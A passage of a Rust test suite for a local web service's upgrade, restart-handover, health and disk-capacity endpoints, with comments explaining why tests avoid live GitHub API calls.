23751            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23752        }
23753        for s in [Stage::Done, Stage::Failed] {
23754            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23755        }
23756        assert!(upgrade_in_motion(None).is_none());
23757    }
23758
23759    #[tokio::test]
23760    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23761        use crate::updater::Stage;
23762        for stage in [
23763            Stage::Downloading,
23764            Stage::Replaced,
23765            Stage::Parking,
23766            Stage::Restarting,
23767        ] {
23768            let fx = Fixture::start().await;
23769            let seeded = seeded_progress(stage);
23770            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23771            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23772                .expect("read");
23773
23774            let res = fx.post("/api/upgrade", None).await;
23775            assert_eq!(res.status, 409, "{stage:?}");
23776            let err = res.json()["error"].as_str().unwrap().to_owned();
23777            assert!(err.contains("already in progress"), "{err}");
23778            assert!(err.contains(stage.as_str()), "{err}");
23779
23780            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23781                .expect("read");
23782            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23783            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23784                .unwrap_or_default();
23785            assert!(!log.contains("signalling HANDOVER"), "{log}");
23786        }
23787    }
23788
23789    #[test]
23790    fn upgrade_retry_timing_only_parses_known_diagnostics() {
23791        assert_eq!(
23792            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23793            Some(3723)
23794        );
23795        assert_eq!(
23796            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23797            Some(60)
23798        );
23799        assert_eq!(
23800            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23801            Some(0)
23802        );
23803        for message in [
23804            "permission denied",
23805            "GitHub API rate limit exceeded",
23806            "GitHub rate limit (resets in unknown)",
23807            "GitHub rate limit (resets in 18446744073709551615d)",
23808        ] {
23809            assert_eq!(upgrade_retry_after(message), None, "{message}");
23810        }
23811    }
23812
23813    #[tokio::test]
23814    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23815        let home = TempDir::new().unwrap();
23816        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23817        ui.start_loop(None).unwrap();
23818        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23819        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23820        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23821        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23822        let response = finish_upgrade_request(&ui, result);
23823        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23824        assert_eq!(response.headers()["retry-after"], "120");
23825        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23826            .await
23827            .unwrap();
23828        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23829        assert!(body["error"].as_str().unwrap().contains(reason));
23830        assert_eq!(body["retry_after_secs"], 120);
23831        assert!(body["retry_at"].as_u64().is_some());
23832        for _ in 0..2 {
23833            let view = health(State(ui.clone())).await.unwrap().0;
23834            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23835            assert_eq!(failure, body);
23836        }
23837        assert_eq!(
23838            std::fs::read(updater::progress_path(home.path())).unwrap(),
23839            before
23840        );
23841        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23842        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23843        // A conflicting request must not erase the actionable earlier failure.
23844        let gate = ui.upgrade_gate.lock().await;
23845        assert_eq!(
23846            upgrade_post(State(ui.clone())).await.status(),
23847            StatusCode::CONFLICT
23848        );
23849        drop(gate);
23850        assert!(
23851            health(State(ui.clone()))
23852                .await
23853                .unwrap()
23854                .0
23855                .upgrade_request_error
23856                .is_some()
23857        );
23858        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23859        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23860        assert!(
23861            health(State(ui.clone()))
23862                .await
23863                .unwrap()
23864                .0
23865                .upgrade_request_error
23866                .is_none()
23867        );
23868        let live = ui.lock_loop().live.take().unwrap();
23869        live.stop.stop();
23870        live.handle.await.unwrap();
23871    }
23872
23873    #[tokio::test]
23874    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23875        use crate::updater::Stage;
23876        let repo = TempDir::new().expect("repo dir");
23877        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23878            .expect("write magi.toml");
23879        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23880        for stage in [Stage::Done, Stage::Failed] {
23881            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23882            let res = fx.post("/api/upgrade", None).await;
23883            assert_eq!(res.status, 200, "{stage:?}");
23884        }
23885        // No record at all, and the gate was released by the earlier calls.
23886        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23887        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23888    }
23889
23890    #[tokio::test]
23891    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23892        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
23893        // and the route answers from its own logic.
23894        //
23895        // This test used to lean on the fixture's placeholder repo failing
23896        // config discovery, which left `mode = "notify"` - and a live,
23897        // unauthenticated call to the GitHub releases API inside a unit test.
23898        // GitHub allows 60 of those an hour per address, so the suite went red
23899        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
23900        // long as somebody kept re-running it: every attempt spent another
23901        // request. Six reruns across four pull requests were charged to that
23902        // before it was read as a rate limit rather than a flake.
23903        //
23904        // What the assertion is about is the "already current" branch, which
23905        // is reached by there being no newer release *or* nowhere to look. The
23906        // second one needs no network and cannot be rate limited.
23907        let repo = TempDir::new().expect("repo dir");
23908        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23909            .expect("write magi.toml");
23910        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23911
23912        // It must answer 200 and leave the process alone: restarting for an
23913        // upgrade that did not happen parks the run in flight and drops every
23914        // connection to pay for nothing. A probe against a deck already on the
23915        // newest build did exactly that, which is how this case got its own
23916        // branch.
23917        let res = fx.post("/api/upgrade", None).await;
23918        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23919        let body = res.json();
23920        assert!(body["to"].is_null(), "there was no release to move to");
23921        assert!(body["parked"].is_null(), "and nothing was parked");
23922        assert!(
23923            body["detail"]
23924                .as_str()
23925                .unwrap()
23926                .contains("nothing restarted"),
23927            "{body:?}"
23928        );
23929    }
23930
23931    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
23932        tokio::time::timeout(Duration::from_secs(5), async {
23933            while state.lock().unwrap().in_flight {
23934                tokio::task::yield_now().await;
23935            }
23936        })
23937        .await
23938        .expect("capacity scan finished");
23939    }
23940
23941    fn disk_test_scope(home: &FsPath) -> DiskScope {
23942        DiskScope {
23943            runs: home.join("runs"),
23944            worktrees: home.join("worktrees"),
23945            cache: Some(home.join("cache")),
23946        }
23947    }
23948
23949    fn known_disk_capacity() -> DiskCapacity {
23950        DiskCapacity {
23951            free_bytes: Some(100),
23952            runs_bytes: Some(200),
23953            worktrees_bytes: Some(300),
23954            cache_bytes: Some(400),
23955        }
23956    }
23957
23958    #[tokio::test]
23959    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23960        let home = TempDir::new().unwrap();
23961        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23962        let mut ui = delta_test_ui(home.path());
23963        let state = Arc::get_mut(&mut ui).unwrap();
23964        state.repo = home.path().to_owned();
23965        state.worktrees_root = home.path().join("worktrees");
23966        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23967        ui.monitor
23968            .worker_started
23969            .store(true, std::sync::atomic::Ordering::SeqCst);
23970        let cfg = deputy_config(&ui.repo);
23971        let scope = DiskScope::of(&ui, cfg.as_ref());
23972        let (started, reached) = tokio::sync::oneshot::channel();
23973        let (release, blocked) = std::sync::mpsc::channel();
23974        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23975            started.send(()).unwrap();
23976            // A failed request assertion must also let the blocking worker exit.
23977            let _ = blocked.recv();
23978            known_disk_capacity()
23979        });
23980        assert!(cold.runs_bytes.is_none());
23981        tokio::time::timeout(Duration::from_secs(5), reached)
23982            .await
23983            .unwrap()
23984            .unwrap();
23985
23986        let requests: Vec<_> = (0..4)
23987            .map(|_| {
23988                let ui = ui.clone();
23989                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23990            })
23991            .collect();
23992        // This is a causal independence check, not a five-second latency
23993        // benchmark. Leave room for unrelated filesystem/thread contention
23994        // when the entire unit suite runs concurrently.
23995        let completed = tokio::time::timeout(Duration::from_secs(60), async {
23996            for request in requests {
23997                let view = request.await.unwrap();
23998                let disk = serde_json::to_value(view.disk).unwrap();
23999                assert!(disk["runs_bytes"].is_null());
24000                assert!(disk["worktrees_bytes"].is_null());
24001                // Free space is a cheap live observation even while the
24002                // recursive capacity measurement remains blocked.
24003                assert!(disk["free_bytes"].is_u64());
24004            }
24005        })
24006        .await;
24007        if completed.is_err() {
24008            release.send(()).unwrap();
24009            wait_for_disk_scan(&ui.monitor.disk).await;
24010            panic!("health must return while the measurement is causally blocked");
24011        }
24012        assert!(ui.monitor.disk.lock().unwrap().in_flight);
24013        // No competing worker can have published while the first holds flight.
24014        assert!(
24015            ui.monitor
24016                .disk
24017                .lock()
24018                .unwrap()
24019                .capacity
24020                .runs_bytes
24021                .is_none()
24022        );
24023        release.send(()).unwrap();
24024        wait_for_disk_scan(&ui.monitor.disk).await;
24025        assert_eq!(
24026            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
24027            Some(200)
24028        );
24029    }
24030
24031    #[tokio::test]
24032    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
24033        let home = TempDir::new().unwrap();
24034        let scope = disk_test_scope(home.path());
24035        let state = Arc::new(Mutex::new(DiskObservation {
24036            scope: Some(scope.clone()),
24037            capacity: known_disk_capacity(),
24038            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
24039            ..Default::default()
24040        }));
24041        let (started, reached) = tokio::sync::oneshot::channel();
24042        let (release, blocked) = std::sync::mpsc::channel();
24043        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
24044            started.send(()).unwrap();
24045            blocked.recv().unwrap();
24046            DiskCapacity {
24047                runs_bytes: Some(250),
24048                ..Default::default()
24049            }
24050        });
24051        assert_eq!(before.cache_bytes, Some(400));
24052        tokio::time::timeout(Duration::from_secs(5), reached)
24053            .await
24054            .unwrap()
24055            .unwrap();
24056        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24057        for _ in 0..4 {
24058            let scans = duplicate_scans.clone();
24059            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24060                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24061                DiskCapacity::default()
24062            });
24063            assert_eq!(during.runs_bytes, Some(200));
24064            assert_eq!(during.cache_bytes, Some(400));
24065        }
24066        release.send(()).unwrap();
24067        wait_for_disk_scan(&state).await;
24068        let scans = duplicate_scans.clone();
24069        let after = DiskObservation::observe(&state, scope, move |_| {
24070            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24071            DiskCapacity::default()
24072        });
24073        wait_for_disk_scan(&state).await;
24074        assert_eq!(after.runs_bytes, Some(250));
24075        assert_eq!(after.free_bytes, Some(100));
24076        assert_eq!(after.cache_bytes, Some(400));
24077        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24078        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24079    }
24080
24081    #[tokio::test]
24082    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24083        let home = TempDir::new().unwrap();
24084        let old_scope = disk_test_scope(home.path());
24085        let mut new_scope = old_scope.clone();
24086        new_scope.cache = Some(home.path().join("replacement-cache"));
24087        let state = Arc::new(Mutex::new(DiskObservation {
24088            scope: Some(old_scope.clone()),
24089            capacity: known_disk_capacity(),
24090            ..Default::default()
24091        }));
24092        let (started, reached) = tokio::sync::oneshot::channel();
24093        let (release, blocked) = std::sync::mpsc::channel();
24094        DiskObservation::observe(&state, old_scope, move |_| {
24095            started.send(()).unwrap();
24096            blocked.recv().unwrap();
24097            known_disk_capacity()
24098        });
24099        tokio::time::timeout(Duration::from_secs(5), reached)
24100            .await
24101            .unwrap()
24102            .unwrap();
24103        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24104        let scans = duplicate_scans.clone();
24105        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24106            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24107            DiskCapacity::default()
24108        });
24109        assert!(changed.cache_bytes.is_none());
24110        assert!(changed.runs_bytes.is_none());
24111        release.send(()).unwrap();
24112        wait_for_disk_scan(&state).await;
24113        {
24114            let observation = state.lock().unwrap();
24115            assert!(observation.capacity.cache_bytes.is_none());
24116            assert!(observation.finished.is_none());
24117        }
24118        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24119            assert_eq!(scope, &new_scope);
24120            DiskCapacity {
24121                cache_bytes: Some(999),
24122                ..Default::default()
24123            }
24124        });
24125        wait_for_disk_scan(&state).await;
24126        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24127        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24128    }
24129
24130    #[tokio::test]
24131    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24132        let home = TempDir::new().unwrap();
24133        let scope = disk_test_scope(home.path());
24134        let state = Arc::new(Mutex::new(DiskObservation {
24135            scope: Some(scope.clone()),
24136            capacity: known_disk_capacity(),
24137            ..Default::default()
24138        }));
24139        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24140        wait_for_disk_scan(&state).await;
24141        {
24142            let mut observation = state.lock().unwrap();
24143            assert_eq!(observation.capacity.cache_bytes, Some(400));
24144            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24145            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24146        }
24147        DiskObservation::observe(&state, scope, |_| DiskCapacity {
24148            cache_bytes: Some(450),
24149            ..Default::default()
24150        });
24151        wait_for_disk_scan(&state).await;
24152        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24153    }
24154
24155    #[test]
24156    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24157        let home = TempDir::new().unwrap();
24158        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24159        assert_eq!(disk_capacity_size(home.path()), Some(0));
24160        std::fs::create_dir(home.path().join("nested")).unwrap();
24161        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24162        assert_eq!(disk_capacity_size(home.path()), Some(5));
24163        #[cfg(unix)]
24164        {
24165            // Unix distinguishes an invalid descendant lookup from absence.
24166            assert_eq!(
24167                disk_capacity_size(&home.path().join("nested/data/child")),
24168                None
24169            );
24170        }
24171        #[cfg(unix)]
24172        {
24173            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24174            assert_eq!(disk_capacity_size(home.path()), Some(5));
24175        }
24176    }
24177
24178    #[tokio::test]
24179    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24180        // `mode = "off"` for the same reason as the test above: a default
24181        // fixture repo falls back to `mode = "notify"`, which would make this
24182        // route's new `update` field a live, unauthenticated GitHub call on
24183        // every assertion in this suite that happens to hit `/api/health`.
24184        let repo = TempDir::new().expect("repo dir");
24185        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24186            .expect("write magi.toml");
24187        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24188
24189        let health = fx.get("/api/health").await.json();
24190        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24191        assert_eq!(
24192            health["update"]["available"], false,
24193            "checking is off, which reads as \"unknown\", not \"none\""
24194        );
24195        assert!(health["update"]["to"].is_null());
24196        assert!(
24197            health["upgrade"].is_null(),
24198            "nothing has ever asked this deck to upgrade"
24199        );
24200    }
24201
24202    #[tokio::test]
24203    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24204        let fx = Fixture::start().await;
24205        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24206
24207        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24208        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24209        progress.advance(crate::updater::Stage::Parking);
24210        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24211
24212        let health = fx.get("/api/health").await.json();
24213        assert_eq!(health["upgrade"]["stage"], "parking");
24214        assert_eq!(health["upgrade"]["from"], "0.5.1");
24215        assert_eq!(health["upgrade"]["to"], "0.5.2");
24216        let waiting_on = health["upgrade"]["waiting_on"]
24217            .as_str()
24218            .expect("waiting_on is set while parking a known run");
24219        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24220        assert!(waiting_on.contains("implementing"), "{waiting_on}");
24221    }
24222
24223    #[tokio::test]
24224    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24225        let fx = Fixture::start().await;
24226        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24227        progress.advance(crate::updater::Stage::Done);
24228        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24229
24230        let health = fx.get("/api/health").await.json();
24231        assert_eq!(health["upgrade"]["stage"], "done");
24232        assert!(
24233            health["upgrade"]["waiting_on"].is_null(),
24234            "nothing to wait on once it is done"
24235        );
24236    }
24237
24238    /// The handover signal is seen however the race falls, and wakes its one
24239    /// waiter once per signal - nothing here can spin.
24240    #[tokio::test]
24241    async fn the_handover_signal_wakes_one_waiter_once() {
24242        let signal = Notify::new();
24243        // Signalled before anyone waits: the stored permit is not lost.
24244        signal.notify_one();
24245        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24246            .await
24247            .expect("an early signal is still seen");
24248        // One signal, one wake-up: a second wait does not resolve by itself.
24249        assert!(
24250            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24251                .await
24252                .is_err(),
24253            "a consumed signal must not wake a second time"
24254        );
24255        // Signalled while waiting.
24256        let signal = std::sync::Arc::new(signal);
24257        let waiter = tokio::spawn({
24258            let signal = std::sync::Arc::clone(&signal);
24259            async move { wait_for_handover(&signal).await }
24260        });
24261        tokio::time::sleep(Duration::from_millis(20)).await;
24262        assert!(!waiter.is_finished(), "nothing was signalled yet");
24263        signal.notify_one();
24264        tokio::time::timeout(Duration::from_secs(5), waiter)
24265            .await
24266            .expect("a late signal wakes the waiter")
24267            .expect("join");
24268    }
24269
24270    #[tokio::test]
24271    async fn health_says_how_long_a_handover_has_been_stuck() {
24272        let fx = Fixture::start().await;
24273        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24274        progress.advance(crate::updater::Stage::Replaced);
24275        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24276        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24277
24278        let health = fx.get("/api/health").await.json();
24279        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24280        assert!(stuck >= 600, "{stuck}");
24281        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24282        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24283    }
24284
24285    #[tokio::test]
24286    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24287        let home = tempfile::tempdir().expect("temp home");
24288        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24289        progress.advance(crate::updater::Stage::Parking);
24290        crate::updater::write_progress(home.path(), &progress).expect("seed");
24291        // What the second upgrade_and_restart and its handler do.
24292        let mut again = progress.clone();
24293        again.advance(crate::updater::Stage::Replaced);
24294        crate::updater::write_progress(home.path(), &again).expect("replaced");
24295        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24296        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24297        let after = crate::updater::read_progress(home.path()).expect("record");
24298        assert_eq!(after.stage, crate::updater::Stage::Parking);
24299    }
24300
24301    #[tokio::test]
24302    async fn health_does_not_call_a_live_parking_wait_stuck() {
24303        let fx = Fixture::start().await;
24304        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24305        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24306        progress.advance(crate::updater::Stage::Parking);
24307        let hours = Duration::from_secs(3 * 3600);
24308        progress.started_at = Timestamp::now() - hours;
24309        progress.updated_at = Timestamp::now() - hours;
24310        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24311        let _lease = crate::updater::LeaseGuard::enter(
24312            fx.home.path(),
24313            Some("20260905-000000-cd51".to_owned()),
24314        );
24315
24316        let health = fx.get("/api/health").await.json();
24317        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24318        assert!(health["upgrade"]["stuck_kind"].is_null());
24319        assert_eq!(health["upgrade"]["handover_alive"], true);
24320        let waiting_on = health["upgrade"]["waiting_on"]
24321            .as_str()
24322            .expect("waiting_on");
24323        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24324    }
24325
24326    fn idle_ui(home: &TempDir) -> Ui {
24327        let runs = home.path().join("runs");
24328        std::fs::create_dir_all(&runs).expect("runs dir");
24329        Ui::new(
24330            Queue::at(home.path().join("queue")),
24331            Questions::at(home.path().join("questions")),
24332            Talks::at(home.path().join("talks")),
24333            runs,
24334            home.path().to_path_buf(),
24335            PathBuf::from("/repo/magi"),
24336        )
24337        .with_launch(launch_idle)
24338    }
24339
24340    #[tokio::test]
24341    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24342        let home = TempDir::new().expect("temp home");
24343        let ui = idle_ui(&home);
24344        let lease = crate::worker::try_lease(home.path(), "scheduler")
24345            .expect("scheduler lease")
24346            .expect("free");
24347        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24348            .expect("request stop");
24349        let error = ui
24350            .start_detached_loop()
24351            .await
24352            .expect_err("transition is still live");
24353        assert_eq!(error.status, StatusCode::CONFLICT);
24354        assert!(error.message.contains("still running or stopping"));
24355        assert_eq!(
24356            crate::worker::control(home.path(), "scheduler").unwrap(),
24357            Some(crate::worker::Control::Stop)
24358        );
24359        drop(lease);
24360    }
24361
24362    #[tokio::test]
24363    async fn handover_releases_listener_without_waiting_for_execution_leases() {
24364        let home = TempDir::new().expect("temp home");
24365        let ui = idle_ui(&home);
24366        let turns = ui
24367            .begin_talk_turn("active-chat")
24368            .expect("claim")
24369            .expect("free");
24370        let execution = crate::worker::try_lease(home.path(), "active-task")
24371            .expect("execution lease")
24372            .expect("free");
24373        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24374            .await
24375            .expect("bind loopback");
24376        let address = listener.local_addr().expect("address");
24377        let admissions = Arc::clone(&ui.admissions);
24378        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24379        let successor_started = std::sync::atomic::AtomicBool::new(false);
24380        tokio::time::timeout(
24381            Duration::from_secs(2),
24382            hand_over(home.path(), &admissions, served, || {
24383                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24384                Ok(1)
24385            }),
24386        )
24387        .await
24388        .expect("restart must not wait for execution")
24389        .expect("handover");
24390        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24391        // BSD may retain the address briefly after listener release. The real
24392        // successor uses the same bounded bind retry rather than a one-shot bind.
24393        let successor = bind_waiting(address)
24394            .await
24395            .expect("successor binds released address");
24396        assert_eq!(successor.local_addr().unwrap(), address);
24397        assert!(turns.owns(), "the chat lease survives restart");
24398        assert!(
24399            crate::worker::try_lease(home.path(), "active-task")
24400                .unwrap()
24401                .is_none()
24402        );
24403        drop(execution);
24404        drop(turns);
24405    }
24406
24407    #[tokio::test]
24408    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24409        let home = TempDir::new().expect("temp home");
24410        let ui = idle_ui(&home);
24411        let admission = ui.begin_admission().expect("admit send");
24412        let turn = ui
24413            .begin_talk_turn("active-chat")
24414            .expect("claim")
24415            .expect("free");
24416        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24417            .await
24418            .expect("bind loopback");
24419        let address = listener.local_addr().expect("address");
24420        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24421        let successor_called = std::sync::atomic::AtomicBool::new(false);
24422        let handover = hand_over(home.path(), &ui.admissions, served, || {
24423            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24424            Ok(1)
24425        });
24426        tokio::pin!(handover);
24427        // Poll exactly to the writer waiting on our admission guard. This
24428        // pins the race without sleeps or assumptions about task scheduling.
24429        std::future::poll_fn(|cx| {
24430            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24431            std::task::Poll::Ready(())
24432        })
24433        .await;
24434        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24435        assert!(
24436            ui.begin_admission().is_err(),
24437            "new ingress cannot race the drain"
24438        );
24439        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24440        drop(admission);
24441        tokio::time::timeout(Duration::from_secs(2), handover)
24442            .await
24443            .expect("only publication may delay restart")
24444            .expect("handover");
24445        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24446        assert!(
24447            turn.owns(),
24448            "the detached chat turn is not awaited or cancelled"
24449        );
24450        assert!(
24451            ui.begin_admission().is_err(),
24452            "old accepted connections stay closed"
24453        );
24454        drop(turn);
24455    }
24456
24457    #[test]
24458    fn health_worker_metadata_never_contains_payload_or_result() {
24459        let view = WorkerView::from(crate::worker::Job {
24460            id: "job".into(),
24461            sequence: 1,
24462            kind: "service".into(),
24463            key: "maintenance".into(),
24464            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24465            generation: "generation".into(),
24466            version: Some("1.2.3".into()),
24467            status: crate::worker::Status::Running,
24468            result: Some("private diagnostics".into()),
24469            pid: Some(4242),
24470            created_at: 1,
24471            finished_at: None,
24472        });
24473        let value = serde_json::to_value(view).expect("serialize public metadata");
24474        assert_eq!(value["version"], "1.2.3");
24475        assert_eq!(value["pid"], 4242);
24476        assert!(value.get("payload").is_none());
24477        assert!(value.get("result").is_none());
24478        assert!(!value.to_string().contains("private"));
24479    }
24480
24481    #[test]
24482    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24483        let home = TempDir::new().expect("temp home");
24484        let ui = idle_ui(&home);
24485        std::fs::write(
24486            home.path().join("daemon.json"),
24487            serde_json::json!({
24488                "schema": 2, "pid": 4242, "worker_protocol": 1,
24489                "updated_at": Timestamp::now().to_string(), "idle": true,
24490            })
24491            .to_string(),
24492        )
24493        .expect("status");
24494        let reading = daemon::read_status(home.path());
24495        assert!(Foreign::of(reading.as_ref()).is_none());
24496        let view = ui.runtime_loop_view(reading, &[]);
24497        assert!(view.running);
24498        assert!(view.owned);
24499    }
24500
24501    #[test]
24502    fn only_an_explicit_one_requests_a_resume() {
24503        assert!(!resume_requested(None));
24504        assert!(!resume_requested(Some("0".into())));
24505        assert!(!resume_requested(Some("".into())));
24506        assert!(resume_requested(Some("1".into())));
24507    }
24508
24509    #[test]
24510    fn an_error_is_visible_from_where_the_button_is() {
24511        // The alert used to sit in the flow under the header. On a phone
24512        // scrolled 13 500 px down to a run's action sheet that is off screen,
24513        // so tapping Resume and being told "the loop is running run b455
24514        // right now" looked exactly like a button that did nothing.
24515        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24516            ..APP_CSS.find(".alert-text").expect(".alert-text")];
24517        assert!(
24518            alert.contains("position: fixed"),
24519            "an error about the thing under your thumb has to be visible from \
24520             where your thumb is: {alert}"
24521        );
24522        assert!(
24523            alert.contains("z-index: 25"),
24524            "above the dock (20) and the run-actions FAB (15), so neither \
24525             buries it: {alert}"
24526        );
24527        assert!(
24528            alert.contains("var(--tap)"),
24529            "and clear of the dock and the home indicator: {alert}"
24530        );
24531        // The FAB sits at the same height on the right. An error that covered
24532        // it would hide the button the operator reaches for next.
24533        assert!(
24534            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24535            "the FAB's column stays free: {alert}"
24536        );
24537    }
24538
24539    #[tokio::test]
24540    async fn an_older_attempt_says_what_replaced_it() {
24541        let fx = Fixture::start().await;
24542        let q = fx.queue();
24543        let runs = fx.runs();
24544        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24545        write_run(&runs, first, RunStatus::Stalled);
24546        write_run(&runs, second, RunStatus::Blocked);
24547
24548        let mut t = Task::new(
24549            "one task".to_owned(),
24550            "do it".to_owned(),
24551            PathBuf::from("/repo"),
24552            Source::Human,
24553        );
24554        t.runs = vec![first.to_owned(), second.to_owned()];
24555        q.put(&mut t).expect("put");
24556
24557        // Two cards with the same title and no hint which is which was the
24558        // question: "why are there two of the same, one stalled and one
24559        // blocked?" The older one now names its replacement.
24560        let rows = fx.get("/api/runs").await.json();
24561        let by = |short: &str| -> Value {
24562            rows.as_array()
24563                .unwrap()
24564                .iter()
24565                .find(|r| r["short"] == short)
24566                .cloned()
